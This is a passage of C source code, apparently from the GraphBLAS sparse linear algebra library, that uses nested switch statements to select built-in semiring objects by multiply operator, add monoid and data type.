case GB_SECONDI1_binop_code : // z = second_i1(x,B(k,j)) == k+1
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDI1_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDI1_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDI1_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDI1_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDI1_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDI1_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDI1_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDI1_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDI1_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDI1_INT32) ;
default: ;
}
}
break ;
case GB_SECONDJ_binop_code : // z = second_j(x,B(i,j)) == j
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDJ_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDJ_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDJ_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDJ_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDJ_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDJ_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDJ_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDJ_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDJ_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDJ_INT32) ;
default: ;
}
}
break ;
case GB_SECONDJ1_binop_code : // z = second_j1(x,B(i,j)) == j+1
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDJ1_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDJ1_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDJ1_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDJ1_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDJ1_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDJ1_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDJ1_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDJ1_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDJ1_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDJ1_INT32) ;
default: ;
}
}
break ;
default : ;
}
}
else if (xcode != GB_BOOL_code)
{
//----------------------------------------------------------------------
// 300 semirings with TxT -> bool multiply operators
//----------------------------------------------------------------------
// x,y are one of the 10 non-Boolean types, z is Boolean
switch (mult_binop_code)
{
case GB_EQ_binop_code : // with (5 bool monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_LOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LOR_EQ_INT8 ) ;
case GB_UINT8_code : return (GxB_LOR_EQ_UINT8 ) ;
case GB_INT16_code : return (GxB_LOR_EQ_INT16 ) ;
case GB_UINT16_code : return (GxB_LOR_EQ_UINT16 ) ;
case GB_INT32_code : return (GxB_LOR_EQ_INT32 ) ;
case GB_UINT32_code : return (GxB_LOR_EQ_UINT32 ) ;
case GB_INT64_code : return (GxB_LOR_EQ_INT64 ) ;
case GB_UINT64_code : return (GxB_LOR_EQ_UINT64 ) ;
case GB_FP32_code : return (GxB_LOR_EQ_FP32 ) ;
case GB_FP64_code : return (GxB_LOR_EQ_FP64 ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LAND_EQ_INT8 ) ;
case GB_UINT8_code : return (GxB_LAND_EQ_UINT8 ) ;
case GB_INT16_code : return (GxB_LAND_EQ_INT16 ) ;
case GB_UINT16_code : return (GxB_LAND_EQ_UINT16 ) ;
case GB_INT32_code : return (GxB_LAND_EQ_INT32 ) ;
case GB_UINT32_code : return (GxB_LAND_EQ_UINT32 ) ;
case GB_INT64_code : return (GxB_LAND_EQ_INT64 ) ;
case GB_UINT64_code : return (GxB_LAND_EQ_UINT64 ) ;
case GB_FP32_code : return (GxB_LAND_EQ_FP32 ) ;
case GB_FP64_code : return (GxB_LAND_EQ_FP64 ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LXOR_EQ_INT8 ) ;
case GB_UINT8_code : return (GxB_LXOR_EQ_UINT8 ) ;
case GB_INT16_code : return (GxB_LXOR_EQ_INT16 ) ;
case GB_UINT16_code : return (GxB_LXOR_EQ_UINT16 ) ;
case GB_INT32_code : return (GxB_LXOR_EQ_INT32 ) ;
case GB_UINT32_code : return (GxB_LXOR_EQ_UINT32 ) ;
case GB_INT64_code : return (GxB_LXOR_EQ_INT64 ) ;
case GB_UINT64_code : return (GxB_LXOR_EQ_UINT64 ) ;
case GB_FP32_code : return (GxB_LXOR_EQ_FP32 ) ;
case GB_FP64_code : return (GxB_LXOR_EQ_FP64 ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_EQ_EQ_INT8 ) ;
case GB_UINT8_code : return (GxB_EQ_EQ_UINT8 ) ;
case GB_INT16_code : return (GxB_EQ_EQ_INT16 ) ;
case GB_UINT16_code : return (GxB_EQ_EQ_UINT16 ) ;
case GB_INT32_code : return (GxB_EQ_EQ_INT32 ) ;
case GB_UINT32_code : return (GxB_EQ_EQ_UINT32 ) ;
case GB_INT64_code : return (GxB_EQ_EQ_INT64 ) ;
case GB_UINT64_code : return (GxB_EQ_EQ_UINT64 ) ;
case GB_FP32_code : return (GxB_EQ_EQ_FP32 ) ;
case GB_FP64_code : return (GxB_EQ_EQ_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_ANY_EQ_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_EQ_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_EQ_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_EQ_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_EQ_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_EQ_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_EQ_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_EQ_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_EQ_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_EQ_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_NE_binop_code : // with (5 bool monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_LOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LOR_NE_INT8 ) ;
case GB_UINT8_code : return (GxB_LOR_NE_UINT8 ) ;
case GB_INT16_code : return (GxB_LOR_NE_INT16 ) ;
case GB_UINT16_code : return (GxB_LOR_NE_UINT16 ) ;
case GB_INT32_code : return (GxB_LOR_NE_INT32 ) ;
case GB_UINT32_code : return (GxB_LOR_NE_UINT32 ) ;
case GB_INT64_code : return (GxB_LOR_NE_INT64 ) ;
case GB_UINT64_code : return (GxB_LOR_NE_UINT64 ) ;
case GB_FP32_code : return (GxB_LOR_NE_FP32 ) ;
case GB_FP64_code : return (GxB_LOR_NE_FP64 ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LAND_NE_INT8 ) ;
case GB_UINT8_code : return (GxB_LAND_NE_UINT8 ) ;
case GB_INT16_code : return (GxB_LAND_NE_INT16 ) ;
case GB_UINT16_code : return (GxB_LAND_NE_UINT16 ) ;
case GB_INT32_code : return (GxB_LAND_NE_INT32 ) ;
case GB_UINT32_code : return (GxB_LAND_NE_UINT32 ) ;
case GB_INT64_code : return (GxB_LAND_NE_INT64 ) ;
case GB_UINT64_code : return (GxB_LAND_NE_UINT64 ) ;
case GB_FP32_code : return (GxB_LAND_NE_FP32 ) ;
case GB_FP64_code : return (GxB_LAND_NE_FP64 ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LXOR_NE_INT8 ) ;
case GB_UINT8_code : return (GxB_LXOR_NE_UINT8 ) ;
case GB_INT16_code : return (GxB_LXOR_NE_INT16 ) ;
case GB_UINT16_code : return (GxB_LXOR_NE_UINT16 ) ;
case GB_INT32_code : return (GxB_LXOR_NE_INT32 ) ;
case GB_UINT32_code : return (GxB_LXOR_NE_UINT32 ) ;
case GB_INT64_code : return (GxB_LXOR_NE_INT64 ) ;
case GB_UINT64_code : return (GxB_LXOR_NE_UINT64 ) ;
case GB_FP32_code : return (GxB_LXOR_NE_FP32 ) ;
case GB_FP64_code : return (GxB_LXOR_NE_FP64 ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_EQ_NE_INT8 ) ;
case GB_UINT8_code : return (GxB_EQ_NE_UINT8 ) ;
case GB_INT16_code : return (GxB_EQ_NE_INT16 ) ;
case GB_UINT16_code : return (GxB_EQ_NE_UINT16 ) ;
case GB_INT32_code : return (GxB_EQ_NE_INT32 ) ;
case GB_UINT32_code : return (GxB_EQ_NE_UINT32 ) ;
case GB_INT64_code : return (GxB_EQ_NE_INT64 ) ;
case GB_UINT64_code : return (GxB_EQ_NE_UINT64 ) ;
case GB_FP32_code : return (GxB_EQ_NE_FP32 ) ;
case GB_FP64_code : return (GxB_EQ_NE_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_ANY_NE_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_NE_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_NE_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_NE_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_NE_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_NE_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_NE_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_NE_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_NE_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_NE_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_GT_binop_code : // with (5 bool monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_LOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LOR_GT_INT8 ) ;
case GB_UINT8_code : return (GxB_LOR_GT_UINT8 ) ;
case GB_INT16_code : return (GxB_LOR_GT_INT16 ) ;
case GB_UINT16_code : return (GxB_LOR_GT_UINT16 ) ;
case GB_INT32_code : return (GxB_LOR_GT_INT32 ) ;
case GB_UINT32_code : return (GxB_LOR_GT_UINT32 ) ;
case GB_INT64_code : return (GxB_LOR_GT_INT64 ) ;
case GB_UINT64_code : return (GxB_LOR_GT_UINT64 ) ;
case GB_FP32_code : return (GxB_LOR_GT_FP32 ) ;
case GB_FP64_code : return (GxB_LOR_GT_FP64 ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LAND_GT_INT8 ) ;
case GB_UINT8_code : return (GxB_LAND_GT_UINT8 ) ;
case GB_INT16_code : return (GxB_LAND_GT_INT16 ) ;
case GB_UINT16_code : return (GxB_LAND_GT_UINT16 ) ;
case GB_INT32_code : return (GxB_LAND_GT_INT32 ) ;
case GB_UINT32_code : return (GxB_LAND_GT_UINT32 ) ;
case GB_INT64_code : return (GxB_LAND_GT_INT64 ) ;
case GB_UINT64_code : return (GxB_LAND_GT_UINT64 ) ;
case GB_FP32_code : return (GxB_LAND_GT_FP32 ) ;
case GB_FP64_code : return (GxB_LAND_GT_FP64 ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LXOR_GT_INT8 ) ;
case GB_UINT8_code : return (GxB_LXOR_GT_UINT8 ) ;
case GB_INT16_code : return (GxB_LXOR_GT_INT16 ) ;
case GB_UINT16_code : return (GxB_LXOR_GT_UINT16 ) ;
case GB_INT32_code : return (GxB_LXOR_GT_INT32 ) ;
case GB_UINT32_code : return (GxB_LXOR_GT_UINT32 ) ;
case GB_INT64_code : return (GxB_LXOR_GT_INT64 ) ;
case GB_UINT64_code : return (GxB_LXOR_GT_UINT64 ) ;
case GB_FP32_code : return (GxB_LXOR_GT_FP32 ) ;
case GB_FP64_code : return (GxB_LXOR_GT_FP64 ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_EQ_GT_INT8 ) ;
case GB_UINT8_code : return (GxB_EQ_GT_UINT8 ) ;
case GB_INT16_code : return (GxB_EQ_GT_INT16 ) ;
case GB_UINT16_code : return (GxB_EQ_GT_UINT16 ) ;
case GB_INT32_code : return (GxB_EQ_GT_INT32 ) ;
case GB_UINT32_code : return (GxB_EQ_GT_UINT32 ) ;
case GB_INT64_code : return (GxB_EQ_GT_INT64 ) ;
case GB_UINT64_code : return (GxB_EQ_GT_UINT64 ) ;
case GB_FP32_code : return (GxB_EQ_GT_FP32 ) ;
case GB_FP64_code : return (GxB_EQ_GT_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_ANY_GT_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_GT_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_GT_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_GT_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_GT_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_GT_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_GT_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_GT_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_GT_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_GT_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_LT_binop_code : // with (5 bool monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_LOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LOR_LT_INT8 ) ;
case GB_UINT8_code : return (GxB_LOR_LT_UINT8 ) ;
case GB_INT16_code : return (GxB_LOR_LT_INT16 ) ;
case GB_UINT16_code : return (GxB_LOR_LT_UINT16 ) ;
case GB_INT32_code : return (GxB_LOR_LT_INT32 ) ;
case GB_UINT32_code : return (GxB_LOR_LT_UINT32 ) ;
case GB_INT64_code : return (GxB_LOR_LT_INT64 ) ;
case GB_UINT64_code : return (GxB_LOR_LT_UINT64 ) ;
case GB_FP32_code : return (GxB_LOR_LT_FP32 ) ;
case GB_FP64_code : return (GxB_LOR_LT_FP64 ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LAND_LT_INT8 ) ;
case GB_UINT8_code : return (GxB_LAND_LT_UINT8 ) ;
case GB_INT16_code : return (GxB_LAND_LT_INT16 ) ;
case GB_UINT16_code : return (GxB_LAND_LT_UINT16 ) ;
case GB_INT32_code : return (GxB_LAND_LT_INT32 ) ;
case GB_UINT32_code : return (GxB_LAND_LT_UINT32 ) ;
case GB_INT64_code : return (GxB_LAND_LT_INT64 ) ;
case GB_UINT64_code : return (GxB_LAND_LT_UINT64 ) ;
case GB_FP32_code : return (GxB_LAND_LT_FP32 ) ;
case GB_FP64_code : return (GxB_LAND_LT_FP64 ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LXOR_LT_INT8 ) ;
case GB_UINT8_code : return (GxB_LXOR_LT_UINT8 ) ;
case GB_INT16_code : return (GxB_LXOR_LT_INT16 ) ;
case GB_UINT16_code : return (GxB_LXOR_LT_UINT16 ) ;
case GB_INT32_code : return (GxB_LXOR_LT_INT32 ) ;
case GB_UINT32_code : return (GxB_LXOR_LT_UINT32 ) ;
case GB_INT64_code : return (GxB_LXOR_LT_INT64 ) ;
case GB_UINT64_code : return (GxB_LXOR_LT_UINT64 ) ;
case GB_FP32_code : return (GxB_LXOR_LT_FP32 ) ;
case GB_FP64_code : return (GxB_LXOR_LT_FP64 ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_EQ_LT_INT8 ) ;
case GB_UINT8_code : return (GxB_EQ_LT_UINT8 ) ;
case GB_INT16_code : return (GxB_EQ_LT_INT16 ) ;
case GB_UINT16_code : return (GxB_EQ_LT_UINT16 ) ;
case GB_INT32_code : return (GxB_EQ_LT_INT32 ) ;
case GB_UINT32_code : return (GxB_EQ_LT_UINT32 ) ;
case GB_INT64_code : return (GxB_EQ_LT_INT64 ) ;
case GB_UINT64_code : return (GxB_EQ_LT_UINT64 ) ;
case GB_FP32_code : return (GxB_EQ_LT_FP32 ) ;
case GB_FP64_code : return (GxB_EQ_LT_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_ANY_LT_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_LT_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_LT_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_LT_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_LT_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_LT_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_LT_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_LT_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_LT_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_LT_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_GE_binop_code : // with (5 bool monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_LOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LOR_GE_INT8 ) ;
case GB_UINT8_code : return (GxB_LOR_GE_UINT8 ) ;
case GB_INT16_code : return (GxB_LOR_GE_INT16 ) ;
case GB_UINT16_code : return (GxB_LOR_GE_UINT16 ) ;
case GB_INT32_code : return (GxB_LOR_GE_INT32 ) ;
case GB_UINT32_code : return (GxB_LOR_GE_UINT32 ) ;
case GB_INT64_code : return (GxB_LOR_GE_INT64 ) ;
case GB_UINT64_code : return (GxB_LOR_GE_UINT64 ) ;
case GB_FP32_code : return (GxB_LOR_GE_FP32 ) ;
case GB_FP64_code : return (GxB_LOR_GE_FP64 ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LAND_GE_INT8 ) ;
case GB_UINT8_code : return (GxB_LAND_GE_UINT8 ) ;
case GB_INT16_code : return (GxB_LAND_GE_INT16 ) ;
case GB_UINT16_code : return (GxB_LAND_GE_UINT16 ) ;
case GB_INT32_code : return (GxB_LAND_GE_INT32 ) ;
case GB_UINT32_code : return (GxB_LAND_GE_UINT32 ) ;
case GB_INT64_code : return (GxB_LAND_GE_INT64 ) ;
case GB_UINT64_code : return (GxB_LAND_GE_UINT64 ) ;
case GB_FP32_code : return (GxB_LAND_GE_FP32 ) ;
case GB_FP64_code : return (GxB_LAND_GE_FP64 ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LXOR_GE_INT8 ) ;
case GB_UINT8_code : return (GxB_LXOR_GE_UINT8 ) ;
case GB_INT16_code : return (GxB_LXOR_GE_INT16 ) ;
case GB_UINT16_code : return (GxB_LXOR_GE_UINT16 ) ;
case GB_INT32_code : return (GxB_LXOR_GE_INT32 ) ;
case GB_UINT32_code : return (GxB_LXOR_GE_UINT32 ) ;
case GB_INT64_code : return (GxB_LXOR_GE_INT64 ) ;
case GB_UINT64_code : return (GxB_LXOR_GE_UINT64 ) ;
case GB_FP32_code : return (GxB_LXOR_GE_FP32 ) ;
case GB_FP64_code : return (GxB_LXOR_GE_FP64 ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_EQ_GE_INT8 ) ;
case GB_UINT8_code : return (GxB_EQ_GE_UINT8 ) ;
case GB_INT16_code : return (GxB_EQ_GE_INT16 ) ;
case GB_UINT16_code : return (GxB_EQ_GE_UINT16 ) ;
case GB_INT32_code : return (GxB_EQ_GE_INT32 ) ;
case GB_UINT32_code : return (GxB_EQ_GE_UINT32 ) ;
case GB_INT64_code : return (GxB_EQ_GE_INT64 ) ;
case GB_UINT64_code : return (GxB_EQ_GE_UINT64 ) ;
case GB_FP32_code : return (GxB_EQ_GE_FP32 ) ;
case GB_FP64_code : return (GxB_EQ_GE_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_ANY_GE_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_GE_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_GE_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_GE_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_GE_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_GE_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_GE_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_GE_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_GE_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_GE_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_LE_binop_code : // with (5 bool monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_LOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LOR_LE_INT8 ) ;
case GB_UINT8_code : return (GxB_LOR_LE_UINT8 ) ;
case GB_INT16_code : return (GxB_LOR_LE_INT16 ) ;
case GB_UINT16_code : return (GxB_LOR_LE_UINT16 ) ;
case GB_INT32_code : return (GxB_LOR_LE_INT32 ) ;
case GB_UINT32_code : return (GxB_LOR_LE_UINT32 ) ;
case GB_INT64_code : return (GxB_LOR_LE_INT64 ) ;
case GB_UINT64_code : return (GxB_LOR_LE_UINT64 ) ;
case GB_FP32_code : return (GxB_LOR_LE_FP32 ) ;
case GB_FP64_code : return (GxB_LOR_LE_FP64 ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LAND_LE_INT8 ) ;
case GB_UINT8_code : return (GxB_LAND_LE_UINT8 ) ;
case GB_INT16_code : return (GxB_LAND_LE_INT16 ) ;
case GB_UINT16_code : return (GxB_LAND_LE_UINT16 ) ;
case GB_INT32_code : return (GxB_LAND_LE_INT32 ) ;
case GB_UINT32_code : return (GxB_LAND_LE_UINT32 ) ;
case GB_INT64_code : return (GxB_LAND_LE_INT64 ) ;
case GB_UINT64_code : return (GxB_LAND_LE_UINT64 ) ;
case GB_FP32_code : return (GxB_LAND_LE_FP32 ) ;
case GB_FP64_code : return (GxB_LAND_LE_FP64 ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_LXOR_LE_INT8 ) ;
case GB_UINT8_code : return (GxB_LXOR_LE_UINT8 ) ;
case GB_INT16_code : return (GxB_LXOR_LE_INT16 ) ;
case GB_UINT16_code : return (GxB_LXOR_LE_UINT16 ) ;
case GB_INT32_code : return (GxB_LXOR_LE_INT32 ) ;
case GB_UINT32_code : return (GxB_LXOR_LE_UINT32 ) ;
case GB_INT64_code : return (GxB_LXOR_LE_INT64 ) ;
case GB_UINT64_code : return (GxB_LXOR_LE_UINT64 ) ;
case GB_FP32_code : return (GxB_LXOR_LE_FP32 ) ;
case GB_FP64_code : return (GxB_LXOR_LE_FP64 ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_EQ_LE_INT8 ) ;
case GB_UINT8_code : return (GxB_EQ_LE_UINT8 ) ;
case GB_INT16_code : return (GxB_EQ_LE_INT16 ) ;
case GB_UINT16_code : return (GxB_EQ_LE_UINT16 ) ;
case GB_INT32_code : return (GxB_EQ_LE_INT32 ) ;
case GB_UINT32_code : return (GxB_EQ_LE_UINT32 ) ;
case GB_INT64_code : return (GxB_EQ_LE_INT64 ) ;
case GB_UINT64_code : return (GxB_EQ_LE_UINT64 ) ;
case GB_FP32_code : return (GxB_EQ_LE_FP32 ) ;
case GB_FP64_code : return (GxB_EQ_LE_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (xcode)
{
case GB_INT8_code : return (GxB_ANY_LE_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_LE_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_LE_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_LE_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_LE_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_LE_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_LE_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_LE_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_LE_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_LE_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
default : ;
}
}
else
{
//----------------------------------------------------------------------
// 55 purely Boolean semirings
//----------------------------------------------------------------------
// x,y,z are all Boolean, and all operators are Boolean
switch (mult_binop_code)
{
case GB_FIRST_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_FIRST_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_FIRST_BOOL ) ;
case GB_LXOR_binop_code : return (GxB_LXOR_FIRST_BOOL ) ;
case GB_EQ_binop_code : return (GxB_EQ_FIRST_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRST_BOOL ) ;
default : ;
}
break ;
case GB_SECOND_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_SECOND_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_SECOND_BOOL) ;
case GB_LXOR_binop_code : return (GxB_LXOR_SECOND_BOOL) ;
case GB_EQ_binop_code : return (GxB_EQ_SECOND_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_SECOND_BOOL ) ;
default : ;
}
break ;
case GB_PAIR_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_PAIR_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_PAIR_BOOL ) ;
case GB_LXOR_binop_code : return (GxB_LXOR_PAIR_BOOL ) ;
case GB_EQ_binop_code : return (GxB_EQ_PAIR_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_PAIR_BOOL ) ;
default : ;
}
break ;
case GB_LOR_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_LOR_BOOL ) ;
case GB_LAND_binop_code : return (GrB_LAND_LOR_SEMIRING_BOOL ) ;
case GB_LXOR_binop_code : return (GxB_LXOR_LOR_BOOL ) ;
case GB_EQ_binop_code : return (GrB_LXNOR_LOR_SEMIRING_BOOL) ;
case GB_ANY_binop_code : return (GxB_ANY_LOR_BOOL ) ;
default : ;
}
break ;
case GB_LAND_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GrB_LOR_LAND_SEMIRING_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_LAND_BOOL ) ;
case GB_LXOR_binop_code : return (GrB_LXOR_LAND_SEMIRING_BOOL) ;
case GB_EQ_binop_code : return (GxB_EQ_LAND_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_LAND_BOOL ) ;
default : ;
}
break ;
case GB_LXOR_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_LXOR_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_LXOR_BOOL ) ;
case GB_LXOR_binop_code : return (GxB_LXOR_LXOR_BOOL ) ;
case GB_EQ_binop_code : return (GxB_EQ_LXOR_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_LXOR_BOOL ) ;
default : ;
}
break ;
case GB_EQ_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_EQ_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_EQ_BOOL) ;
case GB_LXOR_binop_code : return (GxB_LXOR_EQ_BOOL) ;
case GB_EQ_binop_code : return (GxB_EQ_EQ_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_EQ_BOOL ) ;
default : ;
}
break ;
case GB_GT_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_GT_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_GT_BOOL) ;
case GB_LXOR_binop_code : return (GxB_LXOR_GT_BOOL) ;
case GB_EQ_binop_code : return (GxB_EQ_GT_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_GT_BOOL ) ;
default : ;
}
break ;
case GB_LT_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_LT_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_LT_BOOL) ;
case GB_LXOR_binop_code : return (GxB_LXOR_LT_BOOL) ;
